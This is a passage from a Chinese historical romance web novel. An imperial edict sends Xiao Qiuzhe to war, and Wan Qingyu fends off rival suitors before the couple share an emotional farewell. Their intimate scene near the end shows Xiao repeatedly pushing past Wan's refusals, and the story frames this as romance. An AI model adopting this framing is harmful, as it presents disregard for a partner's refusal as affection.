晚青妤见他一副可怜模样,忍不住轻笑一声,弯下身来,正要吻他,忽听门外方奇高声禀报:“公子,快出来,宫里来人了。” 宫里?晚青妤身子一僵,唇瓣已贴近萧秋折的唇边,两人皆是一愣。 萧秋折皱了皱眉,随即抬手扣住她的后脑,往前一倾,亲了一口,然后站起身来,牵着她出了房间。 院中,一位传旨的公公正负手而立,见萧秋折出来,便扬声道:“世子,快跪下接旨吧。” 晚青妤与萧秋折对视一眼,心中皆是一凛,二人跪下。那公公展开圣旨,朗声宣读:“奉天承运皇帝,诏曰:朕承天命,统御万方,夙夜兢兢,以安社稷。今有边关告急,敌寇猖獗,扰我疆土,害我黎民。朕心甚忧,特命萧秋折为征讨大将军,统领三军,前往讨伐。萧卿素怀忠勇,智略超群,朕深倚重。望卿秉持朕意,奋勇杀敌,保我山河,安我百姓。凡军中事务,悉听卿裁,务必严明军纪,赏罚分明,以振军威。朕在京师,静候佳音。待卿凯旋之日,必当厚赏,以酬卿功。钦此。” 圣旨一出,院中众人皆是愣住。 方齐与方于面面相觑,眼中满是不可置信。 皇上要派萧秋折前去边关打仗? 而萧秋折听完圣旨,脊背僵住,跪在地上,迟迟未去接旨,一双眸子渐渐冷了下来。 看来幕后之人已设下两套计策,誓要置他于死地。刺杀不成,便将他派往边关,借刀杀人。 七年前,他也曾接到同样的圣旨,结果受尽百般折磨,九死一生,只剩一口气回来。 如今,又想故技重施。 第53章 第53章他把她拖进怀里刚刚好。…… 这便是皇权,圣旨一下,纵有千般不愿,亦不得不从,连一丝反抗的余地都没有。 晚青妤听闻圣旨,怔忡良久,方才回过神来,眸光不由自主地投向萧秋折。只见他神色黯然,显然深知此事非同小可。 前两日,他刚遭刺客暗算,伤势未愈,身上犹带重伤。皇上此刻派他出征,无异于将他推向绝路。更何况,宫中良将如云,为何偏偏选中了他? 萧秋折跪伏于地,沉默良久,终是起身接下了圣旨。宣旨公公离开后,他便将晚青妤扶起身。 晚青妤心中慌乱,却不知该如何开口。征战之事,断然不可推拒,否则不仅会招致皇家责罚,更会为天下百姓所唾弃。 萧秋折将圣旨递给身旁的方齐,握住晚青妤的手,低声道:“此事颇为复杂,我恐怕无法陪你前去拜见外祖母了。我需与父亲及舅舅商议一番,待有了结果,再去寻你。” 晚青妤知道他也很震惊,忙道:“你放心,你先处理你的事,不用管我。” 言至此,她欲言又止,终究将后话咽了回去。此刻,再多言语亦是徒劳,无论是安慰还是悲叹,在圣旨面前皆显得苍白无力。 萧秋折牵着她的手,将她送至府外。二人立于马车前,近日天气晴好,阳光洒下来,让他憔悴的脸颊有了些许血色。他脖颈上的伤口依旧疼痛难忍,鲜血虽已止住,衣衫上却仍残留大片血渍。 他就这般站在她眼前,她望着他,想到他即将奔赴边关,眼中不禁泛起泪光。她轻声唤道:“萧秋折……”却不知该说些什么,只觉得此番别离,或许再无相见之日。 战场是何等凶险之地?九死一生,能活着归来的,若非大胜,便只能靠天意垂怜。 边关战事已持续数年,烽火连天,从未停歇。那些敌寇远比中原人凶悍百倍,至今尚无一位将军能将其彻底剿灭。萧秋折虽有过人之才,终究也是血肉之躯,性命仅此一条。 萧秋折见她眼中又泛起泪光,心中亦是酸楚难忍,伸手揉了揉她的脑袋,轻笑道:“快去吧,待我这边事了,便去寻你。” 晚青妤吸了吸鼻子,松开他的手,一步三回头地登上了马车。 马车缓缓前行,她掀开车帘回望,只见他仍立于院门前,他的身影渐行渐远,直至拐过路口,彻底消失在她的视线中。 一路上她都在强忍着,袖边的衣衫都被揉皱了,直到外祖母家门前,她含了一路的眼泪终是掉了下来。 玉儿想要安慰,但是打仗这种事情,是绝无转圜余地的,她不知要说点什么才能让小姐好受些。 晚青妤平复了一会情绪,擦干眼泪进了乔家大院,到了外祖母的房间,却见付钰书正立于外祖母床前。 她在门前怔了一瞬,付钰书转头望来,默然片刻,道:“我来看看老夫人。” 晚青妤想起那日在付家的争执,心中仍有些不快,便未多言,径直走到外祖母床前,轻声唤道:“外祖母,您如今感觉如何了?” 外祖母握住她的手,笑回道:“我好多了,青妤莫要太过挂念。” 晚青妤压下心中酸楚,轻声道:“外祖母,今日我留在这里陪您,许久未曾与您好好说话了。” 外祖母连连点头,笑道:“好好好,我正盼 着你多陪陪我呢。今日你哪儿也别去,就住在这儿。” 她又问道:“秋折呢?以前他常来看我,好像许久未见到他了,是不是很忙?” 提及萧秋折,晚青妤强压下心中翻涌的情绪,回道:“外祖母,他近日有些事务缠身,待忙完了,定会来看您。回头我让他多陪陪您。” “好好好。” 外祖母身子虚弱,需得多加休养,晚青妤陪她说了一会儿话,便出了房间。付钰书也跟着她出去,两人一前一后,谁也未说话。 晚青妤去了厨房,吩咐厨子多熬些滋补的粥品,又亲自取了药材,准备为外祖母煎药。 张伯伯见她挽起袖子要动手,忙上前劝道:“孩子,煎药这等粗活还是让老奴来吧,您去外头与他们说说话。”他口中的“他们”,自然是指付钰书与张攸年。晚青妤心中正是不愿与他们多言,才寻了这煎药的由头留在厨房,于是道:“张伯伯,您不必劝我,我想为外祖母亲手做些力所能及的。” 张伯伯见她执意,也不好再劝,只得退了出去。 晚青妤与玉儿一同将药材放入药罐,细心熬制。付钰书却不知何时已站在厨房门前,目光沉沉地落在她身上,一言不发。 晚青妤心中愈发烦躁,她索性坐在炉边,盯着药罐中咕嘟咕嘟冒出的热气,自当他为空气。玉儿见付钰书一直盯着自家小姐,也不敢离开,默默陪在一旁。 这般僵持了许久,付钰书终是按捺不住,低声唤道:“青妤。” 晚青妤并未应声,甚至连头也未抬。 又过了片刻,付钰书开口道:“萧秋折遇刺一事,并非我所为。” 他突然提起这个。 晚青妤眉头微蹙,转头看向他,只见他目光复杂,神色间透着几分黯然,眼中似有千言万语,却又欲言又止。那眼神中总带着一种说不清道不明的幽怨。 “青妤。”他又叫了一声,解释道:“那日你从我府上离去后,我心中怒火难抑,双手颤抖不止,甚至动了杀心,想要派人取了萧秋折的性命。可后来冷静下来,细细思量,若我真对他下了手,只怕你我之间,此生再无可能。” “两年前,我曾刺他一剑,那一剑刺得极深,他却未曾还手,亦未怪罪于我,硬生生忍了下来。那时,我心中对他生了几分钦佩,觉得他是条汉子。如今,他虽依旧霸占着你,我也怨气难平,可我不能再对他下手,若真动了手,结果只会比从前更糟。” 他语气渐沉:“青妤,人的感情不会轻易改变,至少我不会。我相信你也不会。即便你现在有所动摇,当年我们那般深情,你也不可能全然抹去。只要还有一丝情分在,我们便还有可能。” 他依旧很固执。 晚青妤看向他,见他神色诚恳,不似作伪,或许萧秋折遇刺一事,当真与他无关。但他说来说去,终究还是不肯放手,很是让她烦躁。 此刻,她身心俱疲,累得连一句话也不想多说。只要他不再对萧秋折动手,便说明他尚存一丝良知。或许,等他遇见了别的女子,便会放下,也许时间还不够长,两年太短,那就三年、四年,总有一日,他会将她彻底遗忘。 厨房里弥漫着浓重的药味,付钰书依旧僵挺在门前,其实他自己也很清楚,自己是个极其固执的人,只是未曾料到,晚青妤在他心中竟会如此重要,重要到他日日备受煎熬,连一点办法也没有。 这爱情,比这汤药还要苦。 他总觉得,当初的事情并非只有她嫁给萧秋折这一条路可解。或许,晚青妤对他们的感情并无信心,又或许,是萧秋折太过霸道,才让她做出了那样的选择。 她始终一句话未说,他也未再言语。他此来不过是想见她一面,也想亲口告诉她,萧秋折遇刺一事与他毫无干系,他不想让她误会。 他在门前踌躇良久,望着她绝情的模样,连一眼都不愿施舍给他,心如刀绞般疼痛。他实在想不通,这世上怎会有如此心狠的女子? 而他自己也仿佛着了魔一般,无论如何也走不出这执念,化不开这满腔怨气。他深吸一口气,留下一句“你照顾好自己”就离开了。 从厨房到院门,不过短短一段路,他却觉得走了许久许久。到了院门前,他回头望了一眼,她没有像曾经那样追出来,叫他一声“钰书哥哥”。 他冷笑一声,翻身上马,扬鞭而去。 付钰书走后,晚青妤才长长舒了一口气。若论当初之事,她确实未曾做过什么对不起他的。毕竟那时她也有求于他,而他未能相助,加之他忽然失踪,又逢人命关天的大事,她唯一能做的,便是先保住全家性命。 可若论感情,付钰书虽在她最艰难时未能及时给予关怀,但他对她的那份情意却是真挚而炽热的。或许他当初离家出走,也有自己的苦衷。 在他们那份感情里,可能他并无过错,错的反倒是她。 可世间之事,又岂能只论感情?她只盼他能早日醒悟,振作起来。他正值大好年华,才貌双全,想必倾慕他的姑娘不在少数,以后总会有一个喜欢的。只要他不做恶事,不参与付家的那些龌龊勾当,他是可以得到幸福的。 汤药熬好后,晚青妤正欲端去给外祖母服用,刚盛出一碗,张攸年便进了厨房。他道:“这药太烫了,让我来吧。”说罢,便接过她手中的碗,舀了汤药,与她一同前往外祖母的房间。 两人一前一后进了门,见外祖母仍在沉睡,尚未醒来。张攸年将汤药放在桌上,待其稍凉些再唤外祖母起身服用。 晚青妤静立一旁,张攸年亦站在桌前,屋内一时静谧无声。 与张攸年独处一室,晚青妤总觉得有些压抑,便先行出了屋子。张攸年见状,亦跟了出去。 两人在门前站了片刻,张攸年忽然问:“方才付钰书找你,都说了些什么?” 他总爱问些私密之事,令晚青妤颇感无奈,却又无从回避。她沉默片刻,道:“没说什么,只是站了一会儿。” 张攸年没做声,过了会又道:“我查到了关于言书堂的一些线索,皇上对此事颇为关注,也已知晓太后插手朝政之事,似乎还与太后谈过。想必这段时间,太后不会再为难你。” 他说到这里,目光落在她略显恍惚的神情上,语气温和了几分:“你可以稍稍放松些了,不必再为此事忧心。相信二哥的事情,很快便能解决。” 晚青妤听罢,心中稍稍一松。看来张攸年确实在为此事奔波劳碌,他对太后的举荐也起到了一些作用。 她抬头看向他,认真而客气地道:“张攸年,谢谢你。” 这句感谢说得诚恳,却也带着几分疏离。 张攸年低头看向她,眼中泛起一抹深情,他轻笑一声,道:“谢什么?这都是我该做的。药应该差不多了,我去唤外祖母起身服药。” —— 萧秋折突然被派往边关征战,此事犹如一记惊雷,震得亲王府上下人心惶惶。 太妃听闻此事,手中拐杖重重地顿了几下,随即匆匆找到王爷,带着愤懑与焦急道:“皇家已欺我们至此,如今又要派秋折去边关打仗,你难道还要坐视不管吗?” 实在欺人太甚,太妃气的手都在发抖。她至今仍以为王爷如从前一般,对家中事务漠不关心。可此次情形与往日大不相同,边关战事凶险,稍有不慎便可能一去不返。萧秋折毕竟是她的孙儿,太妃无论如何也不愿见他涉险。 萧敖深知母亲的忧虑,安抚道:“母亲且宽心,我这就进宫一趟,看看皇上究竟是何意。” 其实,在此之前,萧秋折已找过他,将关于利州思想动乱及晚青妤父兄遇害的证据交予他手中。他仔细翻阅后,心中已有了计较,事成后他便可借此在朝中立威,稳固亲王府权势。 经过上次萧秋折主动前来求情,他幡然醒悟。多年来,他因心底埋藏的仇恨与怨气,一直未能走出阴霾,浑浑噩噩度日,以致于让萧秋折承受了诸多苦楚。 皇家越来越得寸进尺,他终究不能再不管不问,他宽慰完母亲便匆匆赶往了皇宫。 萧秋折与舅舅以及外祖父商议一番之后便去探望陆临。上次遇刺,陆临伤得比他严重,此刻正趴在床上,动弹不得,浑身裹满纱布,活像一只刺猬。 陆临见他进来,忍不住抱怨道:“都怪你!若不是 那日下雨,你非要出城,我何至于伤成这样?如今哪儿也去不了,浑身疼得像散了架,还得趴在这儿。” 说着,他扒拉下自己的屁股,苦着脸道:“连这儿都有伤,若是留了疤,日后叫我如何见人?” 萧秋折轻笑一声,摸了摸自己仍隐隐作痛的脖颈,道:“你见人又不用屁股,怕什么?男子汉大丈夫,这点伤都受不住?” 陆临冷笑:“我哪像你,铁打的身子。反正我疼得很,你日后得补偿我。” 萧秋折点头:“好,补偿你。不过,得等我从边关活着回来。” 陆临一听,猛地抬起头,扯到伤口,疼得“嘶”了一声,急问道:“什么边关?你要去边关?” “嗯。”萧秋折走到他跟前,掀开他的衣衫看了看伤势,道:“今日刚接到圣旨,派我去边关打仗。这一去,生死未卜。我来是想拿走我母亲当年给我做的那双鞋,准备带去。” 陆临闻言,震惊得想要坐起身,却又因伤口牵动疼得直抽气,咬牙道:“皇家又派你去边关打仗?真的假的?凭什么派你去?那日遇刺的事还没查清,你身上还有伤,那么多将军不去,为何偏偏派你?” 他越说越气,愤愤道:“皇家这群狗东西,专挑你一个人欺负。七年前他们故意派你去边关,差点要了你的命,如今又来这一出,到底想怎样?你能不能不去?” 萧秋折无奈叹息:“怎能不去?圣旨已下,边关战事,哪个男儿敢拒?若做逃兵,不仅死罪难逃,连身边之人也会受辱,几辈子都抬不起头。” 陆临急道:“可你这次去,分明是送死,他们不是让你去打仗,是要你的命。” 萧秋折见他情绪激动,安抚道:“你先别急,此事我自有打算。这些年,我也并非毫无准备。七年前我在边关受的罪,这一次,我要他们一一偿还。七年,足够我布下一局,这一局,只许胜,不许败。” 七年前的痛与恨,他从未忘记,也不可能轻易放下。他虽非记仇之人,但当年所受的折磨,岂能不加倍奉还?如今,这一刻终于到来,他倒有些迫不及待。 陆临见他神色淡然,心中却仍是担忧,忍不住劝道:“你还是再想想办法吧,看能不能不去。让你父亲去找皇上,与皇上说说情。” 萧秋折:“父亲有他的事要忙,此事你不必再操心,我自有分寸。况且,舅舅和外祖父那边,我已与他们商议过了。你且安心养伤,待我归来时,希望你已能活蹦乱跳。” 陆临眉头紧锁,语气中带着焦灼:“我怎能不担心?边关那地方,九死一生,你真能安然归来吗?” 萧秋折不愿再说,问他:“鞋子在哪?” 陆临指了指柜子:“在里头,你自己拿吧。” 萧秋折走到柜前,打开后取出一个木箱,箱中放着一双小巧的鞋子。这是他四岁时,母亲亲手为他缝制的,也是母亲生前为他做的第一双鞋,更是最后一双。 这双鞋对他意义非凡,以前他经常随身携带,可每每看到,总忍不住泪湿衣襟。后来,他渐渐不愿再触碰那段伤痛,却又舍不得丢弃,便将鞋子交给陆临保管。 此次前往边关,生死难料,他想带着母亲的东西一同前去。 陆临瞥了一眼那双鞋,心中亦是酸楚,不住地叹气。他深知萧秋折自幼吃了多少苦,也明白失去母亲的滋味有多煎熬。可命运如此,又能如何?唯有咬牙挺过去,拼尽全力去改变。 他对萧秋折指了指架子上的一把剑:“那把剑是父亲赠我的,也是当年皇家所赐,锋利无比。你带着它上战场,一定要小心,也一定要活着回来。” 他又问:“你去边关打仗,晚青妤能接受得了吗?你们二人刚有些情意,你突然离去,对她而言,怕是个不小的打击。” 提及晚青妤,萧秋折的眼神顿时暗沉下来,沉声道:“我走之后,你多替我照看她。如今付钰书对她纠缠不休,她二哥的事情也未了结,你务必盯紧些,莫让她受了委屈。我会把方于留下来保护她。” 陆临点头:“你放心,这事包在我身上。定会让她安然无恙。” “那好,你且休息,我先走了。” 萧秋折提起剑,转身朝门外走。不放心的陆临唤了他一声:“萧秋折!” 萧秋折停下回头看他:“还有事?” 陆临皱着眉:“一定要活着回来,我还等着与你喝酒。” 萧秋折扬扬眉,苦涩一笑:“好。” 萧秋折回了亲王府,他进屋取出晚青妤曾写给他的那些信,将信与鞋子一一整理妥当,准备带去边关。收拾完行装,他便骑马赶往乔家大院。 到了乔家大院,他刚进院子,便见张攸年正在院中晾晒衣物,那衣物似是外祖母的。萧秋折微微皱眉,未料张攸年竟会亲手为外祖母洗衣。 张攸年听到动静,转过头来,见是萧秋折,两人对视上,均是压了下眉头。 萧秋折想起那日傍晚,在晚府门前,晚青妤手中抱着张攸年为她买的蜜糖与酥酪。顿时心中烦闷,泛起一股酸意。他好像从张攸年身上嗅到了危险的气息。 张攸年将手中衣物晾好,叫了一声:“萧大人”。而后目光落在他手中的礼品上,问道:“可是来看望老夫人的?” 萧秋折对张攸年并无好感,只淡淡应了一声,便径直朝外祖母的房间走去。 张攸年没有跟上,只在他身后低声说了一句:“青妤在屋里。” 萧秋折进了房间,只见晚青妤正坐在外祖母床前,细心地喂她吃东西。 晚青妤听到声响,转过头来,看到他,忙站起身道:“你来啦,事情可忙完了?” 这一日,她心中始终挂念着他即将前往边关的事。 萧秋折走上前,回道:“暂时忙完了,待会儿再与你细说。先看看外祖母。” 外祖母见到他,开心地伸出手:“是秋折啊,你可算来了。外祖母许久未见你,很是想念你。” 萧秋折看着她憔悴的样,心中不禁一酸,上前握住她的手,笑回道:“外祖母,怪我近来事务繁忙,未能及时来看您。听说您近日身子不适,一定要好好保重。” 外祖母连连点头:“好好好,我会照顾好自己的。” 说着,她又拉起晚青妤的手,将两人的手叠在一起,轻轻拍了拍,语重心长道:“外祖母见你们一同过来,心中甚是欢喜。你们夫妻二人日后一定要和和美美地过日子,外祖母可盼着这一天呢。” 萧秋折急忙点头:“外祖母放心,我与青妤感情甚笃,日后定会过得很好。” 二人在外祖母房中叙了一会儿话,便一同退了出来。晚青妤领着萧秋折进了隔壁的房间,关上门后,急切地问道:“如何?可是已经确定要去边关打仗了?有没有法子不去?” 萧秋折见她神色焦急,伸手将她拉入怀中,低声道:“圣旨已下,此事再无转圜的余地。不过你放心,这几年来我一直在为此做准备,等的便是这一天。我定会平安归来,不会让你等太久。你在家中安心等我,我会把方于留给你,让他护你周全。若有什么难处,便去找我父亲,他定会帮你。利州之事,他很快便能解决 ,且他对你颇为看重,已答应帮你查清你父兄的死因,也会助你二哥脱困。有他相助,我们会轻松许多。” 多一分力量就会多一分胜算。 晚青妤仍然担心:“边关凶险,九死一生,你当真把握十足?我实在放心不下。” 她说着,又红了眼睛,伸手摸了摸他脖子上伤口,哽咽道:“你的胳膊还未好全,脖子上又受了如此重的伤,怎能再经受住折腾。” 萧秋折伸手环住她的腰,将她搂得更紧了些,温声安抚:“别担心,你一定要信我。待我归来,你可愿答应我一事?” 晚青妤抬眸望他,问道:“何事?” 他低头凑近她,目光落在她的唇上,声音低沉而温柔:“待我凯旋归来,我们再办一次婚礼可好?这一次,我要风风光光、郑重地将你娶回家。” 上次她并非真心实意嫁给他,这次,他想让她真心地嫁给他。 晚青妤眸光闪动,有些激动,却又想到自己身份未明,不敢轻易应允。但是她又怕他不能安心去边关,便点了点头,然后踮起脚尖,凑近他,温声道:“好,我答应你。不过,你也要应我一事。” 他见她抬起脚尖凑过来,一时情动,一把将她抱起,让她趴在自己身上,问:“何事?” 他身形高大,而她身子娇小,他把她拖进怀里刚刚好,她的胸口紧紧贴在他身上,顿时红了脸,吞咽了下口水,细声道:“你一定要平安归来,毫发无损地回到我归。” “好。”她身上软软的触感,忽而让他浑身燥热。 “晚青妤。”他一只手臂拖着她,一只手捏起她的下巴,轻触了一下她因害羞而微张的嘴唇,开口语气中带着些醋意,“你且与我说说,张攸年何时对你起的心思?可有向你表白?” 前有狼后有虎,叫他如何放心离开? 第54章 第54章男……男宠? 晚青妤未曾料到,萧秋折此刻竟会提及张攸年。其实,她自己也早已察觉张攸年对她似乎有些情愫,只是他未曾挑明,亦无法确定,更不愿妄加揣测。她不想因这些未明的关系,扰乱了她与萧秋折之间的情意,让萧秋折心生不安。 她双手轻勾住他的脖颈,眸光盈盈,回道:“没有。” 她神色坦然,他知她并未撒谎,但心中仍不免泛起一丝酸意。他轻蹭了下她的鼻尖,又问:“若他向你表白,你当如何应对?” 她轻笑一声:“自然是拒绝。” 听到“拒绝”二字,他心中稍安,却又忍不住道:“喜欢一个人,往往难以自控,总会想方设法得到,就如付钰书,纠缠多年仍不肯罢休。我虽不甚了解张攸年,但从他的言行中亦可看出,他并非寻常之人。但愿他能理智些,不要如付钰书那般执迷不悟。” 喜欢一个人是自由的,但若是纠缠不休,决然不行。 “你瞧你,有如此多人倾心于你,倒是令人羡慕。”他这话都快酸掉牙了。 晚青妤嘿嘿一笑,给他吃了一颗定心丸:“你且放心,我心中再容不下旁人。” 只有他。 他素来好哄,只要她一句话,他便能安心。他深信,他们的感情绝非旁人能够插足。 他心中大石落地,微微前倾,低头在她唇上轻啄了一下,道:“临走前,可否给我些鼓励?” 她眨了眨眼,故作不解:“什么鼓励?” “做些夫妻之间该做的事。” 每天都在求她,她什么时候能答应。 他搂着她倚在一旁的柜子上,阳光透过窗棂洒落,将两人的身影笼罩在一片暖意之中。春风轻拂,吹起晚青妤鬓边的一缕青丝,她微微怔了怔,片刻后才听清他话中意思。 她颤了颤,心中一阵挣扎,房间内一时静谧无声。 萧秋折耐不住这片刻的宁静,手指缓缓收拢,又轻轻松开,低声道:“别多想了,开始吧。” 言罢,他轻吻她鬓边的发丝,指尖微凉,却带着不容抗拒的温柔。他托起她的下颚,眸光深邃,缓缓拉近两人的距离,唇瓣轻贴她的脸颊,温热的气息萦绕其间。 晚青妤眸中泛起一丝迷离,心中渐起燥热,脸上,脖颈上,哪哪都是滚烫的。 她脸颊一片绯红,眸光闪烁间,理智与情、欲拉扯之际,他已低头吻上了她的唇,撩开她的齿,勾上了她的舌。两人的气息交织在一起,暧昧至极。 她下意识地想要推开他,手指刚触到他的胸膛,却被他一把捉住,反扣在身侧。这一推拒的动作,反倒激得他原本温柔的动作变得强硬起来。 他身上带着竹叶的清香,气息温热,将她整个人笼罩其中。两人的呼吸愈发急促。晚青妤忍不住轻哼了一声,声音细如蚊呐,却点燃了他心底的火。 他的吻愈发深入,辗转缠绵。 晚青妤脸上的温度愈发滚烫,连带着萧秋折的肌肤也染上了灼热。两人之间的温度节节攀升,似乎连空气都变得燥热难耐。 晚青妤几次想要起身,想要开口拒绝,却被萧秋折强硬制止。 两人推推拉拉间,吻得愈发难舍难分。晚青妤终究抵不过他的攻势,干脆闭了眼,像是放弃了抵抗。 她的纵容,换来他更加想要占有她的激动。 她微微抬眸,望向他,只见他平日里山水寒玉的面容,此刻又染上了浓浓春色。眼底又似有一泓春水流动,勾的人不行。 肩上衣衫滑落,她身上一麻,往后撤了撤。萧秋折下颚微抬,修长手指捉住她的唇,用指腹重重碾了下,使得她的唇更加艳红,她微张着,被他撩拨的心中难耐,又撤了一下身。 她总是躲,让他生气。 回想他们这一路走来,着实不易。他深知她虽性情温柔,却极难让人真正走进心里。若非真心相待,她绝不会轻易敞开心扉。 即便到了如今,她也未曾对他吐露过一句喜欢,总是若即若离,推推拒拒。 他曾以为自己此生清冷寡淡,与情爱无缘,可一旦踏入,才发现这份感情竟如此浓烈,浓烈到他无法自拔,难以自持。 情欲最难控制,他此刻已全然不想控制。他只想拥有她的一切,将这些年错失的尽数弥补回来。 但晚青妤的感情与他或许截然不同。她希望两人之间的亲近皆是发自本能的,而非因一时冲动。可此刻,他紧拥着她,亲吻着她,磨蹭着她的意志,让她已经无法清醒判断现在应该到哪种程度。 萧秋折情欲更甚,他用鼻尖蹭着她的耳朵,想要更进一步。她总被他撩拨得难以自持,仰起脖颈,一双手紧紧攥住他胸前的衣襟,不经意间扯开了他的衣领,露出他一大片胸膛。 这一扯,也让她清醒了几分,忽而想起上次触碰他后背的情景。 她的动作顿住,他低低唤了一声“别”,随即一把捉住她的手,按在自己的胸口上,他的肌肤冷白,触感滑滑的,温温的。 她小小的一个,软软地瘫在他的怀中。 春日暖阳融融,春风自窗台拂入,携来几分暖意,屋内情意缱绻,愈发显得旖旎。 晚青妤又被他撩拨得心口如蚁爬过,浑身燥热难耐,却又不敢轻易迈出下一步。 她咬了咬唇,强自镇定道:“我们……等你回来。” 萧秋折鼻尖渗出一层薄汗,动作微微一顿。透过窗台洒落的光线,他抬眸与她对视,喉结滚动着,声音低哑而克制:“我停不下来,你不可以再退。今日,你必须满足我。” 她的抗拒反而激起他更大的欲、望,他的气息愈发急促,落在她颈间的呼吸滚烫如火,眸中春色潋滟,蹭了蹭胸口,手掌紧紧扣住她的手,十指交缠,用力磨蹭了几下。 “唔……你……” 她真的不行了。 “听话,不许再躲。” 她虽贪恋他身上的气息,更贪恋他这般情重难抑的模样,可还是无法越过心里那道底线。 他每吐出一个字,皆是让她心尖颤动。屋外春意盎然,屋内情潮汹涌。 她往外推了推他埋进来的脑袋,他索性一把将她抱起,走到桌前把她放在上面,扯了扯她的双腿。 动作暧昧,她羞得脸颊涨红,双手撑在桌面上,一头青丝垂落身后,汗水也自脖颈滑至胸口。 他一手托着她的腰身,一手扶着她的后脑,起初是轻柔的触碰,似在安抚,随后渐渐深入,轻轻撬开她的齿关,勾住她的舌尖,缠绵交缠。 过了一会,萧秋折稍稍退开些许,似是想让她心中踏实些,呢喃道:“ 晚青妤,我们是夫妻,做什么都是合理的。以后我会疼你、爱你,对你负责一辈子。” 晚青妤听着他深情的告白,心中情潮翻涌,她一只手抚上他的脸,深吸了几口气,终究还是忍不住往外推了推他。 在晚青妤眼中,萧秋折虽不似高傲冷淡、目下无尘,但平时给人的感觉却有几分清疏。从前两人相处时,她总能感受到他身上那股冷冷清清的气质。可不知从何时起,他竟卸下了那层强装镇定的保护色,将自己完完全全地摊开在她面前。 此刻,他如此渴望,又小心翼翼,在爱情中带着几分乞求,而非高高在上的主导者,不禁让她生出几分怜惜。 她伸手扯了扯他的衣袖,试图让他清醒一些。可他却一把捉住她的手腕,将她拉得更近。 飘飘然如坠云端。 他高大的身子俯身下来,几乎将她按倒在桌面上,她的手臂撑不住,忍不住低哼了一声,声音软糯:“我们先缓一缓,别着急……” 他身上的掠夺气息愈发浓烈,已经在爆发的边缘,他深呼了一口气,一只手紧紧捏住她的下巴,眉头微压:“缓不了,已经停不下来了。就今天,好不好?” 他已不是第一次如此求她,可她仍是一只手抵着他的胸口,轻声推拒:“先到这里吧,要不,你多亲我一会。” 可在他心中,这远不止是亲吻那么简单。他想让她完完全全成为他的人,从身到心都属于他,而非仅仅停留在表面的亲近。 哪怕她流露出一丝对他的好感,他都会感到无比兴奋。他迫切地索要,是不太自信的表现,他想试图让她满足自己来证明她的爱。 房间里安静了一会。 或许是两人方才的动作太过激烈,他脖子上的伤口开始渗血。 她见状,急忙伸手摸了摸,声音带着些慌乱:“你伤口流血了,你现在控制一点,好不好?” 她这一摸,他才感觉到脖子上的疼痛。痛感袭来,他身上的欲望顿时减去了几分。 晚青妤急忙坐直身子,仔细看了看他的伤口,满是疼惜:“糟糕,伤口好像崩裂了,得赶紧找大夫才行。” 她想要下来,萧秋折按住她,握住她的手,看了看她指尖沾的血迹,掏出帕子替她擦掉,语气带着不开心:“无妨,待我回去再处理便是。” 晚青妤仍不放心,从桌上下来,柔声劝道:“要不你现在先回去?回府找太医看看。” 她竟让他走。 他伸手把她捞进怀里:“我还不想回去。今晚我得去皇宫点兵,明日一早便要出发了。本想今日与你共度,看来是不成了。” 他的语气中尽是失落。 晚青妤心中一软,捧住他的脸,轻声道:“听话,我们先处理伤口,外祖母这里有救急的药箱,我去拿来替你包扎一下。” 她说罢,拉起他的手,让他先坐在凳子上,随后便出了房间。 她出了房门,径直朝外祖母的房间走去,匆匆取了药箱,又快步返回。 然此刻,不远处的一棵大树下,张攸年正斜倚在树干旁,目光沉沉地望向这边。他手中捏着一片叶子,叶片在他指尖轻轻转动,眼神却落在晚青妤那绯红而焦急的脸颊上,漆黑瞳仁越来越黑。 晚青妤取来药箱,放在桌上,打开后取出药酒和纱布,先为萧秋折清理伤口,又细心地为他敷上外用的药粉,重新包扎妥当。 萧秋折身上伤痕累累,每一道疤痕都代表着他曾经受过的苦楚。 此时已近黄昏,晚青妤望了一眼窗外,轻声问道:“今日你进宫点兵,是不是一整晚都不回来了?皇上可有说派哪位将军随你一同前去?” 萧秋折拉起她的手,将她揽坐在自己腿上,一手环着她的腰,目光温和地望着她:“我尚未进宫,还不清楚哪些人会随我同行。不过你放心,我自有安排。只是此次出征时日不短,你定要照顾好自己,凡事以己为先,莫要总是为他人操心,知道吗?此外,若是付钰书来找你,便让方于打发他,尽量别与他接触。” 付钰书疯起来挺可怕。 “还有,外祖母的病情一时半会儿怕是难以好转,你难免要常来此处。可我担心张攸年对你虎视眈眈,不如将外祖母接到晚府暂住一段时日?我想着岳母也该回来了,回头我派人去接她。” 他细心交待,晚青妤点着头,道:“只是眼下这两日怕是不行,外祖母身子虚弱,动弹不得,只能卧床静养。万一去了新环境再不适应,病情加重就糟糕了。我也派人去寻舅舅和舅母,可舅舅不在府中,舅母虽答应来看望祖母,却至今未来。这里无亲人照料,我先在此照料几日。” “不过你放心,我绝不会在此留宿,白日过来,晚间便回去。有方于跟着,不会出什么事的。至于张攸年,你不必太过忧心,我会与他保持距离。他并非如付钰书那般肆无忌惮之人,因着性格与出身的缘故,他行事多有顾虑,他也曾随我二哥多年,对我还算尊重。我也在想着让他们父子俩搬出乔家大院。” 都是成年人,做事应该有分寸。 萧秋折稍稍宽心了一些。 她身上又香又软,他抱着舍不得松手,这几日他未曾好好休息,此刻只想这般抱着她,安然睡上一会。 晚青妤也察觉到他神色疲惫,问道:“你要不要到床上睡一会再走?” 他这个状态,她有点不放心。 萧秋折看了眼屋中的床榻,拉着她起身:“好。” 两人行至床畔,萧秋折脱下鞋履,躺上床榻,顺手扯了扯晚青妤的手,示意她也躺下。 晚青妤心中虽想让他好好休息,却又怕两人贴得太近,情难自控,便轻声道:“你先睡,我不困,坐在床边陪着你就好。” 萧秋折身上哪哪都是酸疼的,确实也已支撑不住了,便紧紧握住她的一只手很快就睡着了。 他已记不清自己有多久未曾这般安心地睡过了。即便睡着,他的手仍紧紧攥着她的手,生怕她离开。 晚青妤坐在床边,静静望着他。他睡的有些浅,眼睫不时轻颤。她反握住他的手,希望能让他睡得踏实些。 他原本俊朗的脸颊,比往日消瘦了许多,棱角愈发分明。他的眼睛睫修长,甚至比女子的还要精致,鼻梁高挺,嘴唇勾人,在这京城之中,怕是再难寻出第二张能令她如此着迷的面容了。 回想起初见他时,他温润如玉,十六岁的年纪,在阳光下熠熠生辉。那时的他,笑容如春风拂面,仿佛是个无忧无虑的少年郎。可谁又能想到,那张温润如玉的面容下,竟藏着如此多的伤痛与苦 楚? 那一年,若他未被派往边关征战,若未曾遭遇变故,他或许会给她回一封信吧。那么,他们之间就不会错失这许多年光阴。 所幸,兜兜转转,缘分未散,老天终究待这段情缘不薄。 萧秋折睡了约莫一个多时辰便醒了。睁开眼时,见晚青妤正趴在他身旁睡着。 